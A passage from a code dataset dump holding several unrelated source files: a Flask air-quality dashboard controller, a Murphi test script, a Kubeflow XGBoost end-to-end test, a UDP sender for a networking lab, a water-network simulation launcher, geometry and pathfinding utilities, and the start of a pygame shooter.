json_data[\"pollutants\"]\n file_type = json_data[\"fileType\"]\n degree_of_cleanness = json_data[\"degreeOfClean\"]\n organisation_name = json_data[\"organisation_name\"]\n custom_chat_data = []\n # datasets = {} # displaying multiple locations\n datasets = []\n locations_devices = []\n for location in locations:\n devices = ms.get_location_devices_code(\n organisation_name, location['label'])\n # datasets[location['label']] = {}\n for device in devices:\n device_code = device['DeviceCode']\n division = device['Division']\n parish = device['Parish']\n location_code = device['LocationCode']\n values = []\n labels = []\n pollutant_list = []\n device_results = {}\n data_to_download = {}\n channel_ref = []\n\n # control how some of the data is accessed\n flag = 0\n # loop through pollutants selected by the user\n for pollutant in pollutants:\n filtered_data = gr.get_filtered_data(\n device_code, start_date, end_date, frequency, pollutant['value'])\n\n data_to_download[pollutant['value']] = []\n if filtered_data:\n for data in filtered_data:\n values.append(data['pollutant_value'])\n if flag == 0:\n labels.append(data['time'])\n channel_ref.append(device_code)\n pollutant_list.append(pollutant['value'])\n data_to_download[pollutant['value']].append(\n data['pollutant_value'])\n flag = 1\n\n data_to_download['channel_ref'] = channel_ref\n data_to_download['device_code'] = device_code\n data_to_download['division'] = division\n data_to_download['parish'] = parish\n data_to_download['time'] = labels\n data_to_download['location_code'] = location_code\n data_to_download['start_date'] = start_date\n data_to_download['end_date'] = end_date\n data_to_download['frequency'] = frequency\n data_to_download['file_type'] = file_type\n data_to_download['owner'] = organisation_name\n data_to_download['location'] = location['label']\n\n # datasets[location['label']] = data_to_download\n datasets.append(data_to_download)\n\n # downloading json\n if download_type == 'json':\n return jsonify({'results': datasets})\n\n # downloading csv\n if download_type == 'csv':\n # print(json.dumps(datasets, indent=1))\n # json normalization to pandas datafrome\n tempp = pd.DataFrame()\n for location in locations:\n temp = pd.json_normalize(datasets, 'time', ['owner'])\n tempp['datetime'] = temp[0]\n\n for pollutant in pollutants:\n temp = pd.json_normalize(datasets, pollutant['label'], [\n 'owner', 'location', 'parish', 'division', 'frequency', 'location_code'])\n tempp['owner'] = temp['owner']\n tempp['location'] = temp['location']\n tempp['location_code'] = temp['location_code']\n tempp['parish'] = temp['parish']\n tempp['division'] = temp['division']\n tempp['frequency'] = temp['frequency']\n tempp[pollutant['label']] = temp[0]\n # FIELDS = [\"location\", \"PM 2.5\", \"start_date\"]\n # df = pd.json_normalize(datasets, max_level=1)\n # print(df)\n for location in locations:\n temp = pd.json_normalize(datasets, 'channel_ref', ['owner'])\n tempp['channel_ref'] = temp[0]\n print(tempp)\n\n final_data = tempp.to_json(orient='records')\n # buid a dataframe from data_to_download\n # df_new = pd.DataFrame(columns=['PM 2.5', 'PM 10', 'channel_ref'])\n # for item in datasets:\n # df_new[item] = datasets[item]\n\n # print(df_new)\n # print(df_new.to_json(orient='columns'))\n # return jsonify({'results': datasets})\n return final_data\n\n\n@dashboard_bp.route('/api/v1/dashboard/customisedchart/random/chartone', methods=['GET'])\ndef get_random_location_hourly_customised_chart_data_2():\n ms = monitoring_site.MonitoringSite()\n gr = graph.Graph()\n device_code = 'A743BPWK'\n start_date = '2020-04-09T07:00:00.000000Z'\n end_date = '2020-05-12T07:00:00.000000Z'\n frequency = 'monthly'\n pollutant = 'PM 2.5'\n chart_type = 'pie'\n organisation_name = 'KCCA'\n parish = ' Wandegeya'\n location_code = 'KCCA_KWPE_AQ05'\n division = 'Kawempe'\n custom_chat_data = []\n datasets = []\n colors = ['#7F7F7F', '#E377C2', '#17BECF',\n '#BCBD22', '#3f51b5'] # blue,cyan, olive,\n custom_chart_title = 'Mean ' + frequency.capitalize() + ' ' + \\\n pollutant + ' for '\n locations_names = parish\n custom_chart_title = custom_chart_title + locations_names + ' Between ' + helpers.convert_date_to_formated_str(helpers.str_to_date(\n start_date), frequency) + ' and ' + helpers.convert_date_to_formated_str(helpers.str_to_date(end_date), frequency)\n values = []\n labels = []\n device_results = {}\n filtered_data = gr.get_filtered_data(\n device_code, start_date, end_date, frequency, pollutant)\n if filtered_data:\n for data in filtered_data:\n values.append(data['pollutant_value'])\n labels.append(data['time'])\n device_results = {'pollutant_values': values, 'labels': labels}\n color = colors.pop()\n dataset = {'data': values, 'label': parish + ' ' + pollutant,\n 'borderColor': color, 'backgroundColor': color, 'fill': False}\n datasets.append(dataset)\n\n custom_chat_data.append({'start_date': start_date, 'end_date': end_date, 'division': division,\n 'parish': parish, 'frequency': frequency, 'pollutant': pollutant,\n 'location_code': location_code, 'chart_type': chart_type, 'chart_data': device_results})\n\n return jsonify({'results': custom_chat_data, 'datasets': datasets, 'custom_chart_title': custom_chart_title})\n\n\n@dashboard_bp.route('/api/v1/dashboard/customisedchart/random', methods=['GET'])\ndef get_random_location_hourly_customised_chart_data():\n ms = monitoring_site.MonitoringSite()\n gr = graph.Graph()\n device_code = 'ANQ16PZJ'\n start_date = '2020-04-12T07:00:00.000000Z'\n end_date = '2020-04-14T07:00:00.000000Z'\n frequency = 'hourly'\n pollutant = 'PM 2.5'\n chart_type = 'line'\n organisation_name = 'KCCA'\n parish = 'Nakawa'\n location_code = 'KCCA_NKWA_AQ01'\n division = 'Nakawa'\n custom_chat_data = []\n datasets = []\n colors = ['#7F7F7F', '#E377C2', '#17BECF', '#BCBD22', '#3f51b5']\n custom_chart_title = 'Mean ' + frequency.capitalize() + ' ' + \\\n pollutant + ' for '\n locations_names = parish\n custom_chart_title = custom_chart_title + locations_names \n custom_chart_title_second_section = ' Between ' + helpers.convert_date_to_formated_str(helpers.str_to_date(start_date),frequency) + ' and ' + helpers.convert_date_to_formated_str(helpers.str_to_date(end_date),frequency)\n values =[]\n labels =[] \n device_results={}\n filtered_data = gr.get_filtered_data(device_code, start_date, end_date, frequency, pollutant)\n if filtered_data:\n for data in filtered_data:\n values.append(data['pollutant_value'])\n labels.append(data['time'])\n device_results= {'pollutant_values':values, 'labels':labels}\n color = colors.pop() \n dataset = {'data':values, 'label':parish + ' '+ pollutant,'borderColor' :color,'backgroundColor':color ,'fill':False} \n datasets.append(dataset) \n \n custom_chat_data.append({'start_date':start_date, 'end_date':end_date, 'division':division, \n 'parish':parish,'frequency':frequency, 'pollutant':pollutant, \n 'location_code':location_code, 'chart_type':chart_type,'chart_data':device_results})\n\n return jsonify({'results':custom_chat_data, 'datasets':datasets,'custom_chart_title':custom_chart_title, 'custom_chart_title_second_section':custom_chart_title_second_section})\n\n@dashboard_bp.route('/api/v1/dashboard/customisedchart', methods = ['POST'])\ndef generate_customised_chart_data():\n ms = monitoring_site.MonitoringSite()\n gr = graph.Graph()\n if request.method == 'POST':\n json_data = request.get_json()\n if not json_data:\n return {'message': 'No input data provided'}, 400\n\n # input_data, errors = validate_inputs(input_data=json_data) //add server side validation\n # if not errors:\n\n locations = json_data[\"locations\"]\n start_date = json_data[\"startDate\"]\n end_date = json_data[\"endDate\"]\n frequency = json_data[\"frequency\"]\n pollutant = json_data[\"pollutant\"]\n chart_type = json_data[\"chartType\"]\n organisation_name = json_data[\"organisation_name\"]\n custom_chat_data = []\n datasets = [] #displaying multiple locations\n locations_devices =[]\n colors =['#7F7F7F','#E377C2', '#17BECF', '#BCBD22','#3f51b5']\n custom_chart_title= 'Mean ' + frequency.capitalize() + ' '+ pollutant + ' for ' \n locations_names = ','.join([str(location['label']) for location in locations]) \n custom_chart_title = custom_chart_title + locations_names \n custom_chart_title_second_section = ' Between ' + helpers.convert_date_to_formated_str(helpers.str_to_date(start_date),frequency) + ' and ' + helpers.convert_date_to_formated_str(helpers.str_to_date(end_date),frequency)\n for location in locations: \n devices = ms.get_location_devices_code( organisation_name, location['label'])\n for device in devices:\n device_code = device['DeviceCode']\n division = device['Division']\n parish = device['Parish']\n location_code= device['LocationCode'] \n values =[]\n labels =[] \n background_colors= [] \n device_results={} \n if chart_type == 'pie':\n filtered_data = gr.get_piechart_data(\n device_code, start_date, end_date, frequency, pollutant)\n if filtered_data:\n for data in filtered_data:\n values.append(data['category_count'])\n labels.append(data['category_name'])\n background_colors.append(\n helpers.assign_color_to_pollutant_category(data['category_name']))\n device_results = {\n 'pollutant_values': values, 'labels': labels}\n color = colors.pop()\n dataset = {'data': values, 'label': parish + ' ' +\n pollutant, 'backgroundColor': background_colors}\n datasets.append(dataset)\n custom_chat_data.append({'start_date':start_date, 'end_date':end_date, 'division':division, \n 'parish':parish,'frequency':frequency, 'pollutant':pollutant, \n 'location_code':location_code, 'chart_type':chart_type,'chart_data':device_results, 'datasets':datasets, 'custom_chart_title':custom_chart_title, 'custom_chart_title_second_section':custom_chart_title_second_section}) \n \n else: \n filtered_data = gr.get_filtered_data(device_code, start_date, end_date, frequency, pollutant)\n if filtered_data:\n for data in filtered_data:\n values.append(data['pollutant_value'])\n labels.append(data['time'])\n device_results = {\n 'pollutant_values': values, 'labels': labels}\n color = colors.pop()\n dataset = {'data': values, 'label': parish + ' ' + pollutant,\n 'borderColor': color, 'backgroundColor': color, 'fill': False}\n datasets.append(dataset)\n measurement_units = '(µg/m3)'\n if pollutant == 'NO2':\n measurement_units = ' Concentration' \n chart_label = pollutant + measurement_units \n \n custom_chat_data.append({'start_date':start_date, 'end_date':end_date, 'division':division, \n 'parish':parish,'frequency':frequency, 'pollutant':pollutant, \n 'location_code':location_code, 'chart_type':chart_type,'chart_data':device_results, \n 'datasets':datasets, 'custom_chart_title':custom_chart_title, 'chart_label':chart_label, 'custom_chart_title_second_section':custom_chart_title_second_section})\n\n locations_devices.append(devices) \n \n return jsonify({'results':custom_chat_data, 'datasets':datasets, 'custom_chart_title':custom_chart_title, 'custom_chart_title_second_section':custom_chart_title_second_section})\n \n #else: \n #return jsonify({'inputs': json_data,'errors': errors})\n\n\n@dashboard_bp.route('/api/v1/dashboard/monitoringsites/locations', methods=['GET'])\ndef get_organisation_monitoring_site_locations():\n ms = monitoring_site.MonitoringSite()\n if request.method == 'GET':\n org_name = request.args.get('organisation_name')\n if org_name:\n monitoring_sites_locations = []\n organisation_monitoring_sites_cursor = ms.get_monitoring_site_locations(\n org_name)\n for site in organisation_monitoring_sites_cursor:\n monitoring_sites_locations.append(site)\n\n results = json.loads(json_util.dumps(monitoring_sites_locations))\n return jsonify({\"airquality_monitoring_sites\": results})\n else:\n return jsonify({\"error msg\": \"organisation name wasn't supplied in the query string parameter.\"})\n\n\n@dashboard_bp.route('/api/v1/dashboard/monitoringsites', methods=['GET'])\ndef get_organisation_monitoring_site():\n ms = monitoring_site.MonitoringSite()\n if request.method == 'GET':\n org_name = request.args.get('organisation_name')\n pm25_category = request.args.get('pm25_category')\n if org_name:\n monitoring_sites = []\n organisation_monitoring_sites_cursor = ms.get_all_organisation_monitoring_sites(\n org_name)\n for site in organisation_monitoring_sites_cursor:\n monitoring_sites.append(site)\n results = json.loads(json_util.dumps(monitoring_sites))\n if pm25_category:\n results = categorise_locations(results, pm25_category)\n\n return jsonify({\"airquality_monitoring_sites\": results})\n else:\n return jsonify({\"error msg\": \"organisation name wasn't supplied in the query string parameter.\"})\n\n\ndef categorise_locations(records, pm25_category):\n locations_with_good_pm25_levels = []\n locations_with_moderate_pm25_levels = []\n locations_with_UH4SG_pm25_levels = []\n locations_with_unhealthy_pm25_levels = []\n locations_with_very_unhealthy_pm25_levels = []\n locations_with_hazardous_pm25_levels = []\n locations_with_uncategorised_pm25_levels = []\n locations_with_all_pm25_levels = []\n\n for i in range(len(records)):\n if records[i]['Last_Hour_PM25_Value'] > 0.0 and records[i]['Last_Hour_PM25_Value'] <= 12.0:\n locations_with_good_pm25_levels.append(records[i])\n elif records[i]['Last_Hour_PM25_Value'] > 12.0 and records[i]['Last_Hour_PM25_Value'] <= 35.4:\n locations_with_moderate_pm25_levels.append(records[i])\n elif records[i]['Last_Hour_PM25_Value'] > 35.4 and records[i]['Last_Hour_PM25_Value'] <= 55.4:\n locations_with_UH4SG_pm25_levels.append(records[i])\n elif records[i]['Last_Hour_PM25_Value'] > 55.4 and records[i]['Last_Hour_PM25_Value'] <= 150.4:\n locations_with_unhealthy_pm25_levels.append(records[i])\n elif records[i]['Last_Hour_PM25_Value'] > 150.4 and records[i]['Last_Hour_PM25_Value'] <= 250.4:\n locations_with_very_unhealthy_pm25_levels.append(records[i])\n elif records[i]['Last_Hour_PM25_Value'] > 250.4 and records[i]['Last_Hour_PM25_Value'] <= 500.4:\n locations_with_hazardous_pm25_levels.append(records[i])\n else:\n locations_with_uncategorised_pm25_levels.append(records[i])\n\n if pm25_category == 'Good':\n return locations_with_good_pm25_levels\n elif pm25_category == 'Moderate':\n return locations_with_moderate_pm25_levels\n elif pm25_category == 'UHFSG':\n return locations_with_UH4SG_pm25_levels\n elif pm25_category == 'Unhealthy':\n return locations_with_unhealthy_pm25_levels\n elif pm25_category == 'VeryUnhealthy':\n return locations_with_very_unhealthy_pm25_levels\n elif pm25_category == 'Hazardous':\n return locations_with_hazardous_pm25_levels\n elif pm25_category == 'All':\n return records\n else:\n return locations_with_uncategorised_pm25_levels\n\n\n@dashboard_bp.route('/api/v1/dashboard/historical/daily/devices', methods=['GET'])\ndef get_all_device_past_28_days_measurements():\n ms = monitoring_site.MonitoringSite()\n if request.method == 'GET':\n results = []\n values = []\n labels = []\n background_colors = []\n monitoring_site_measurements_cursor = ms.get_all_devices_past_28_days_measurements()\n for site in monitoring_site_measurements_cursor:\n values.append(int(site[\"average_pm25\"]))\n labels.append(site[\"Parish\"])\n background_colors.append(\n helpers.set_pm25_category_background(site[\"average_pm25\"]))\n results.append(site)\n\n return jsonify({\"results\": {\"average_pm25_values\": values, \"labels\": labels, \"background_colors\": background_colors}})\n else:\n return jsonify({\"error msg\": \"invalid request.\"})\n\n\n@dashboard_bp.route('/api/v1/dashboard/divisions', methods=['GET'])\ndef get_divisions():\n divisions = []\n division_cursor = app.mongo.db.monitoring_site.find(\n {}, {\"DeviceCode\": 1, \"Parish\": 1, \"LocationCode\": 1, \"Division\": 1, \"_id\": 0})\n # app.mongo.db.division.find()\n for division in division_cursor:\n divisions.append(division)\n\n results = json.loads(json_util.dumps(divisions))\n return jsonify({\"divisions\": results}), 200\n\n\n@dashboard_bp.route('/api/v1/dashboard/exceedances', methods=['POST'])\ndef get_exceedances():\n gr = graph.Graph()\n if request.method == 'POST':\n json_data = request.get_json()\n if not json_data:\n return {'message': 'No input data provided'}, 400\n pollutant = json_data[\"pollutant\"]\n standard = json_data[\"standard\"]\n exceedances_data = gr.get_all_devices_past_28_days_exceedences(\n pollutant, standard)\n return jsonify(exceedances_data[0]['exceedences'])\n\n\n@dashboard_bp.route('/api/v1/dashboard/exceedance_locations', methods=['GET'])\ndef get_exceedance_locations():\n return jsonify(mongo_helpers.get_locations())\n\n\n@dashboard_bp.route('/health', methods=['GET'])\ndef health():\n if request.method == 'GET':\n _logger.info('health status OK')\n return 'ok'\n","sub_path":"src/analytics/controllers/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":25139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"141315931","text":"#!/usr/bin/env python3\n\nimport os\nimport pathlib\nimport re\nimport subprocess\n\n# an arbitrary test model that has a liveness property\nmodel = pathlib.Path(__file__).parent / 'liveness-miss1.m'\nassert model.exists()\n\n# confirm it contains the liveness property we expect\nwith open(model, 'rt', encoding='utf-8') as f:\n assert re.search(r'liveness \"x is 10\" x = 10', f.read())\n\n# use the remove-liveness pass to remove the property\nprint(f'+ murphi2murphi --remove-liveness {model}')\ntransformed = subprocess.check_output(['murphi2murphi',\n '--remove-liveness', model])\ndecoded = transformed.decode('utf-8', 'replace')\n\nprint(f'transformed model:\\n{decoded}')\n\n# now confirm the property is no longer present\nassert re.search(r'liveness \"x is 10\" x = 10', decoded) is None\n\n# the generated model also should be valid syntax for Rumur\nprint('+ rumur --output /dev/null <(transformed model)')\nsubprocess.run(['rumur', '--output', os.devnull], check=True, input=transformed)\n","sub_path":"tests/murphi2murphi-remove-liveness.py","file_name":"murphi2murphi-remove-liveness.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"568177671","text":"# Copyright 2021 kubeflow.org.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport logging\nimport pytest\n\nfrom kubernetes.client import V1PodTemplateSpec\nfrom kubernetes.client import V1ObjectMeta\nfrom kubernetes.client import V1PodSpec\nfrom kubernetes.client import V1Container\nfrom kubernetes.client import V1ResourceRequirements\n\nfrom kubeflow.training import TrainingClient\nfrom kubeflow.training import V1ReplicaSpec\nfrom kubeflow.training import KubeflowOrgV1XGBoostJob\nfrom kubeflow.training import KubeflowOrgV1XGBoostJobSpec\nfrom kubeflow.training import V1RunPolicy\nfrom kubeflow.training import V1SchedulingPolicy\nfrom kubeflow.training.constants import constants\n\nfrom test.e2e.utils import verify_job_e2e, verify_unschedulable_job_e2e, get_pod_spec_scheduler_name\nfrom test.e2e.constants import TEST_GANG_SCHEDULER_NAME_ENV_KEY\nfrom test.e2e.constants import GANG_SCHEDULERS, NONE_GANG_SCHEDULERS\n\nlogging.basicConfig(format=\"%(message)s\")\nlogging.getLogger().setLevel(logging.INFO)\n\nTRAINING_CLIENT = TrainingClient()\nJOB_NAME = \"xgboostjob-iris-ci-test\"\nCONTAINER_NAME = \"xgboost\"\nGANG_SCHEDULER_NAME = os.getenv(TEST_GANG_SCHEDULER_NAME_ENV_KEY)\n\n\n@pytest.mark.skipif(\n GANG_SCHEDULER_NAME in NONE_GANG_SCHEDULERS, reason=\"For gang-scheduling\",\n)\ndef test_sdk_e2e_with_gang_scheduling(job_namespace):\n container = generate_container()\n\n master = V1ReplicaSpec(\n replicas=1,\n restart_policy=\"OnFailure\",\n template=V1PodTemplateSpec(\n metadata=V1ObjectMeta(annotations={constants.ISTIO_SIDECAR_INJECTION: \"false\"}),\n spec=V1PodSpec(\n containers=[container],\n scheduler_name=get_pod_spec_scheduler_name(GANG_SCHEDULER_NAME),\n )\n ),\n )\n\n worker = V1ReplicaSpec(\n replicas=1,\n restart_policy=\"OnFailure\",\n template=V1PodTemplateSpec(\n metadata=V1ObjectMeta(annotations={constants.ISTIO_SIDECAR_INJECTION: \"false\"}),\n spec=V1PodSpec(\n containers=[container],\n scheduler_name=get_pod_spec_scheduler_name(GANG_SCHEDULER_NAME),\n )\n ),\n )\n\n unschedulable_xgboostjob = generate_xgboostjob(master, worker, V1SchedulingPolicy(min_available=10), job_namespace)\n schedulable_xgboostjob = generate_xgboostjob(master, worker, V1SchedulingPolicy(min_available=2), job_namespace)\n\n TRAINING_CLIENT.create_xgboostjob(unschedulable_xgboostjob, job_namespace)\n logging.info(f\"List of created {constants.XGBOOSTJOB_KIND}s\")\n logging.info(TRAINING_CLIENT.list_xgboostjobs(job_namespace))\n\n verify_unschedulable_job_e2e(\n TRAINING_CLIENT,\n JOB_NAME,\n job_namespace,\n constants.XGBOOSTJOB_KIND,\n )\n\n TRAINING_CLIENT.patch_xgboostjob(schedulable_xgboostjob, JOB_NAME, job_namespace)\n logging.info(f\"List of patched {constants.XGBOOSTJOB_KIND}s\")\n logging.info(TRAINING_CLIENT.list_xgboostjobs(job_namespace))\n\n verify_job_e2e(\n TRAINING_CLIENT,\n JOB_NAME,\n job_namespace,\n constants.XGBOOSTJOB_KIND,\n CONTAINER_NAME,\n )\n\n TRAINING_CLIENT.delete_xgboostjob(JOB_NAME, job_namespace)\n\n\n@pytest.mark.skipif(\n GANG_SCHEDULER_NAME in GANG_SCHEDULERS, reason=\"For plain scheduling\",\n)\ndef test_sdk_e2e(job_namespace):\n container = generate_container()\n\n master = V1ReplicaSpec(\n replicas=1,\n restart_policy=\"OnFailure\",\n template=V1PodTemplateSpec(metadata=V1ObjectMeta(annotations={constants.ISTIO_SIDECAR_INJECTION: \"false\"}),\n spec=V1PodSpec(containers=[container])),\n )\n\n worker = V1ReplicaSpec(\n replicas=1,\n restart_policy=\"OnFailure\",\n template=V1PodTemplateSpec(metadata=V1ObjectMeta(annotations={constants.ISTIO_SIDECAR_INJECTION: \"false\"}),\n spec=V1PodSpec(containers=[container])),\n )\n\n xgboostjob = generate_xgboostjob(master, worker, job_namespace=job_namespace)\n\n TRAINING_CLIENT.create_xgboostjob(xgboostjob, job_namespace)\n logging.info(f\"List of created {constants.XGBOOSTJOB_KIND}s\")\n logging.info(TRAINING_CLIENT.list_xgboostjobs(job_namespace))\n\n verify_job_e2e(\n TRAINING_CLIENT,\n JOB_NAME,\n job_namespace,\n constants.XGBOOSTJOB_KIND,\n CONTAINER_NAME,\n )\n\n TRAINING_CLIENT.delete_xgboostjob(JOB_NAME, job_namespace)\n\n\ndef generate_xgboostjob(\n master: V1ReplicaSpec,\n worker: V1ReplicaSpec,\n scheduling_policy: V1SchedulingPolicy = None,\n job_namespace: str = \"default\",\n) -> KubeflowOrgV1XGBoostJob:\n return KubeflowOrgV1XGBoostJob(\n api_version=\"kubeflow.org/v1\",\n kind=\"XGBoostJob\",\n metadata=V1ObjectMeta(name=JOB_NAME, namespace=job_namespace),\n spec=KubeflowOrgV1XGBoostJobSpec(\n run_policy=V1RunPolicy(\n clean_pod_policy=\"None\",\n scheduling_policy=scheduling_policy,\n ),\n xgb_replica_specs={\"Master\": master, \"Worker\": worker},\n ),\n )\n\n\ndef generate_container() -> V1Container:\n return V1Container(\n name=CONTAINER_NAME,\n image=\"docker.io/merlintang/xgboost-dist-iris:1.1\",\n args=[\n \"--job_type=Train\",\n \"--xgboost_parameter=objective:multi:softprob,num_class:3\",\n \"--n_estimators=10\",\n \"--learning_rate=0.1\",\n \"--model_path=/tmp/xgboost-model\",\n \"--model_storage_type=local\",\n ],\n resources=V1ResourceRequirements(limits={\"memory\": \"1Gi\", \"cpu\": \"0.4\"}),\n )\n","sub_path":"sdk/python/test/e2e/test_e2e_xgboostjob.py","file_name":"test_e2e_xgboostjob.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"280086578","text":"from constantes import *\r\nfrom socket import *\r\nfrom paquete import *\r\nfrom network import *\r\n\r\ndef create_socket():\r\n\tUDPsocket = socket(AF_INET, SOCK_DGRAM) \r\n\treturn UDPsocket\r\n\r\n\r\ndef rdt_send():\r\n data=input('ingrese un mensaje: ') #escribo mensaje a enviar\r\n return(data.encode('utf-8')) #codifico el mensaje \r\n\r\n\r\ndef make_pkt(data):\r\n pkt = Paquete(EMISOR_PORT , RECEPTOR_PORT, data, 0)\r\n cksum = calcular_checksum(pkt)\r\n pkt.set_checksum(cksum)\r\n return pkt \r\n\t\r\n\r\n\r\ndef udp_send(socket, mensaje, receiver): #data y reciber\r\n\tmensaje=dumps((receiver, mensaje))\r\n\tsocket.sendto(mensaje, (NETWORK_IP,NETWORK_PORT))#con esto mando a la red \r\n\r\n\r\n\r\ndef close_socket(socket, signal, frame):\r\n\tprint (\"\\n\\rCerrando socket\")\r\n\tsocket.close()\r\n\texit(0)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # Creamos el socket\r\n\tcliente=create_socket() \r\n\t\r\n\tsignal.signal(signal.SIGINT, partial(close_socket, cliente))#esta funcion toma el socket al final\r\n # Iteramos indefinidamente\r\n\twhile True:\r\n # Leemos el mensaje desde teclado \r\n\t\tdata=rdt_send() \r\n # Hacemos el paquete\r\n\t\tpaquete=make_pkt(data)\r\n # Establecemos el destinatario \r\n\t\tdestinatario = (RECEPTOR_IP, RECEPTOR_PORT)\r\n # Enviamos el mensaje \r\n\t\tudp_send(cliente, paquete, destinatario) \r\n\tclose_socket(cliente) \r\n\t\t\r\n","sub_path":"Laboratorio4/emisor_rdt2.0.py","file_name":"emisor_rdt2.0.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"491944553","text":"import subprocess\nimport signal\nimport sys\nfrom os.path import expanduser\n\nclass SimulationControl():\n \"\"\"\n Class representing the simulation process of a plant. All the automatic_plant.py have the same pattern\n \"\"\"\n\n def main(self):\n \"\"\"\n main method of the automatic_plant\n All the automatic_plant.py scrpits follow the same pattern. They process the arguments, register the method interrupt() to handle SIGINT and SIGTERM signals.\n Later, they start the simulation, by calling the script physical_process.py\n \"\"\"\n signal.signal(signal.SIGINT, self.interrupt)\n signal.signal(signal.SIGTERM, self.interrupt)\n self.simulation = self.start_simulation()\n\n while self.simulation.poll() is None:\n pass\n\n def interrupt(self, sig, frame):\n \"\"\"\n This method is provided by the signal python library. We call the finish method that interrupts, terminates, or kills the simulation and exit\n \"\"\"\n self.finish()\n sys.exit(0)\n\n def finish(self):\n \"\"\"\n All the subprocesses launched in this Digital Twin follow the same pattern to ensure that they finish before continuing with the finishing of the parent process\n \"\"\"\n self.simulation.send_signal(signal.SIGINT)\n self.simulation.wait()\n if self.simulation.poll() is None:\n self.simulation.terminate()\n if self.simulation.poll() is None:\n self.simulation.kill()\n\n def start_simulation(self):\n \"\"\"\n This method uses a Python3.6 virtual environment where WNTR simulator is installed to run the simulation of a model.\n By default WNTR is run using the PDD model and the output file is a .csv file called \"physical_process.csv\"\n :return: An object representing the simulation process\n \"\"\"\n home_path = expanduser(\"~\")\n wntr_environment_path = home_path + str(\"/wntr-experiments/bin/python\")\n simulation = subprocess.Popen([wntr_environment_path, 'physical_process.py', sys.argv[1]])\n return simulation\n\n\nif __name__==\"__main__\":\n simulation_control = SimulationControl()\n simulation_control.main()","sub_path":"ICS_topologies/general/automatic_plant.py","file_name":"automatic_plant.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"443803606","text":"# -*- coding: utf-8 -*-\nimport math\nimport copy\n\n\n# square root of 2 for diagonal distance\nSQRT2 = math.sqrt(2)\n\n\ndef backtrace(node):\n \"\"\"\n Backtrace according to the parent records and return the path.\n (including both start and end nodes)\n \"\"\"\n path = [(node.x, node.y)]\n while node.parent:\n node = node.parent\n path.append((node.x, node.y))\n path.reverse()\n return path\n\n\ndef bresenham(coords_a, coords_b):\n '''\n Given the start and end coordinates, return all the coordinates lying\n on the line formed by these coordinates, based on Bresenham's algorithm.\n http://en.wikipedia.org/wiki/Bresenham's_line_algorithm#Simplification\n '''\n line = []\n x0, y0 = coords_a\n x1, y1 = coords_b\n dx = abs(x1 - x0)\n dy = abs(y1 - y0)\n sx = 1 if x0 < x1 else -1\n sy = 1 if y0 < y1 else -1\n err = dx - dy\n\n while True:\n line += [[x0, y0]]\n if x0 == x1 and y0 == y1:\n break\n e2 = err * 2\n if e2 > -dy:\n err = err - dy\n x0 = x0 + sx\n if e2 < dx:\n err = err + dx\n y0 = y0 + sy\n\n return line\n\ndef inside_polygon(x, y, polygon):\n '''Check if a point (x,y) lies inside a polygon with given vertices.\n\tUsing ideas derived from: http://paulbourke.net/geometry/polygonmesh/'''\n\n num_vertices = len(polygon)\n\n inside = False\n p1x, p1y = polygon[0]\n for i in range(num_vertices + 1):\n p2x, p2y = polygon[i % num_vertices]\n if y > min(p1y, p2y):\n if y <= max(p1y, p2y):\n if x <= max(p1x, p2x):\n if p1y != p2y:\n xinters = (y - p1y) * (p2x - p1x) / (p2y - p1y) + p1x\n if p1x == p2x or x <= xinters:\n inside = not inside\n p1x, p1y = p2x, p2y\n\n return inside\n\ndef on_polygon(x,y,polygon):\n\tpair_vertices = zip(polygon,polygon[1:]+polygon[:1])\n\tfor item in pair_vertices:\n\t\tif abs(distance(item[0],item[1]) - (distance(item[0],(x,y))+distance((x,y),item[1]))) < 0.1:\n\t\t\treturn True\n\treturn False\n\ndef distance(pt1,pt2):\n\t'''Returns distance between two points.'''\n\treturn ((pt1[0]-pt2[0])**2+(pt1[1]-pt2[1])**2)**0.5\n\n\n# Ray tracing\ndef ray_tracing_method(x,y,poly):\n n = len(poly)\n inside = False\n\n p1x,p1y = poly[0]\n for i in range(n+1):\n p2x,p2y = poly[i % n]\n if y > min(p1y,p2y):\n if y <= max(p1y,p2y):\n if x <= max(p1x,p2x):\n if p1y != p2y:\n xints = (y-p1y)*(p2x-p1x)/(p2y-p1y)+p1x\n if p1x == p2x or x <= xints:\n inside = not inside\n p1x,p1y = p2x,p2y\n\n return inside","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"226149317","text":"import pygame\nfrom pygame.sprite import Group\nfrom settings import Settings\nfrom nave import Nave\nimport funciones_juego as fj\nfrom estadisticas import Estadisticas\nfrom boton import Boton\nfrom hud import Hud\nimport musica as m\n\ndef run_game():\n pygame.init()\n m_settings = Settings()\n stats = Estadisticas(m_settings)\n fj.cargar_puntuacion(stats)\n screen = pygame.display.set_mode((m_settings.screen_width, m_settings.screen_height)) #dibujar pantalla\n nave = Nave(screen, m_settings) #Dibujar nave\n balas = Group() #Un grupo es una lista con funciones añadidas\n marcianitos = Group()\n fj.crear_flota(m_settings, screen, nave, marcianitos)\n icon = pygame.image.load(\"images/alien.bmp\")\n pygame.display.set_icon(icon)\n pygame.display.set_caption(\"Marcianitos\")\n boton = Boton(m_settings, screen, \"Jugar\")\n hud = Hud(m_settings, screen, stats)\n m.musica_fondo()\n\n\n while True:\n fj.comprobar_eventos(m_settings, screen, nave, balas, stats, marcianitos, boton)\n if stats.jugando:\n 